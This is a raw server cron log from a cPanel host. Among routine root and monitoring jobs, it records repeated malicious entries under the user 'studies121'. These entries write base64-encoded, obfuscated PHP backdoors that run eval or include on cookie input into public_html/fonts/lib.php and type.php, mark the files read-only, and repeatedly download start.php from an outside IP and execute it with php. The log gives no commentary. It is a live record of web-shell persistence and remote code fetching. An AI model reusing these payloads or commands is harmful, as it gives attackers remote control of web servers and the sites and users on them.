Sep 22 05:15:01 ip-184-168-122-23 CROND[24423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:15:01 ip-184-168-122-23 CROND[24422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:15:01 ip-184-168-122-23 CROND[24425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:16:02 ip-184-168-122-23 CROND[24563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:16:02 ip-184-168-122-23 CROND[24564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:16:02 ip-184-168-122-23 CROND[24566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:16:02 ip-184-168-122-23 CROND[24569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:16:02 ip-184-168-122-23 CROND[24570]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 05:16:02 ip-184-168-122-23 CROND[24572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:17:01 ip-184-168-122-23 CROND[24691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:17:01 ip-184-168-122-23 CROND[24692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:17:01 ip-184-168-122-23 CROND[24693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:17:01 ip-184-168-122-23 CROND[24696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:18:01 ip-184-168-122-23 CROND[24826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:18:01 ip-184-168-122-23 CROND[24828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:18:01 ip-184-168-122-23 CROND[24831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:18:01 ip-184-168-122-23 CROND[24830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:18:01 ip-184-168-122-23 CROND[24829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:19:01 ip-184-168-122-23 CROND[25049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:19:01 ip-184-168-122-23 CROND[25052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:19:01 ip-184-168-122-23 CROND[25050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:19:01 ip-184-168-122-23 CROND[25051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:20:01 ip-184-168-122-23 CROND[25178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:20:01 ip-184-168-122-23 CROND[25181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:20:01 ip-184-168-122-23 CROND[25182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:20:01 ip-184-168-122-23 CROND[25183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:20:01 ip-184-168-122-23 CROND[25184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 05:20:01 ip-184-168-122-23 CROND[25185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:20:01 ip-184-168-122-23 CROND[25186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 05:20:01 ip-184-168-122-23 CROND[25187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:20:01 ip-184-168-122-23 CROND[25188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:21:01 ip-184-168-122-23 CROND[25378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:21:01 ip-184-168-122-23 CROND[25379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:21:01 ip-184-168-122-23 CROND[25380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:21:01 ip-184-168-122-23 CROND[25382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:22:02 ip-184-168-122-23 CROND[25621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:22:02 ip-184-168-122-23 CROND[25625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:22:02 ip-184-168-122-23 CROND[25624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:22:02 ip-184-168-122-23 CROND[25626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:22:02 ip-184-168-122-23 CROND[25623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:23:01 ip-184-168-122-23 CROND[25745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:23:01 ip-184-168-122-23 CROND[25747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:23:01 ip-184-168-122-23 CROND[25750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:23:01 ip-184-168-122-23 CROND[25749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:24:01 ip-184-168-122-23 CROND[25878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:24:01 ip-184-168-122-23 CROND[25879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:24:01 ip-184-168-122-23 CROND[25880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:24:01 ip-184-168-122-23 CROND[25881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:24:01 ip-184-168-122-23 CROND[25882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:25:01 ip-184-168-122-23 CROND[26020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:25:01 ip-184-168-122-23 CROND[26019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:25:01 ip-184-168-122-23 CROND[26021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:25:01 ip-184-168-122-23 CROND[26025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:25:01 ip-184-168-122-23 CROND[26026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:25:01 ip-184-168-122-23 CROND[26028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:26:01 ip-184-168-122-23 CROND[26147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:26:01 ip-184-168-122-23 CROND[26148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:26:01 ip-184-168-122-23 CROND[26149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:26:01 ip-184-168-122-23 CROND[26152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:26:01 ip-184-168-122-23 CROND[26154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:27:01 ip-184-168-122-23 CROND[26470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
